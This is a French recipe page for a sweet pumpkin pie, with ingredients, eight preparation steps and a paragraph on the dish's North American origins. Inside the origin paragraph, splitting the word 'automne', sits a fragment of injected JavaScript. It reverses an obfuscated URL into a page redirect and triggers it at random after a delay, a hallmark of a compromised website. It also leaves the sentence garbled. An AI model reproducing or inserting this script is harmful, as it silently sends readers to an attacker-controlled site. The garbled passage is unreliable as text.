La saison des citrouilles et des potirons est arrivée alors quoi de mieux que de préparer un tarte à la citrouille qu’avec ses petits monstres ?
Et si on préparait cette tarte ensemble !
TARTE A LA CITROUILLE SUCREE :
Temps de préparation : 45 min
Temps de cuisson : 40 min
Ingrédients qu’il vous faut :
- 1 pâte brisée ou sablée
- 150g de sucre
- 1 sachet de sucre vanillé
- 1 pincée de muscade
- sel
- 800g de citrouille
- 2 œufs entiers
- 2 jaunes d’œufs
- 20 cl de crème fraîche
PREPARATION
ETAPE 1
Faîtes cuire votre citrouille à la vapeur pendant 15 à 20 min.
ETAPE 2
Une fois cuite, en faire un purée.
ETAPE 3
Ajoutez la crème, les œufs, le sucre, la pincée de sel et la muscade (ne pas trop en mettre)
ETAPE 4
Une fois le mélange bien homogène, il doit être liquide.
ETAPE 5
Déroulez votre pâte dans un moule à tarte et piquez avec une fourchette.
ETAPE 6
Versez le mélange dans un plat à tarte.
ETAPE 7
Enfournez pendant 30 à 40 min suivant la puissance de votre four.
ETAPE 8
Dégustez de préférence froid.
ORIGINE
La Pumpkin Pie, la tarte à la citrouille, est un dessert traditionnel des États-Unis et du Canada. Elle est consommée bien souvent en autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomne et début hivers, pendant Thanksgiving et Noël. La citrouille est un symbole de moisson et se retrouve également lors de la fête d’Halloween.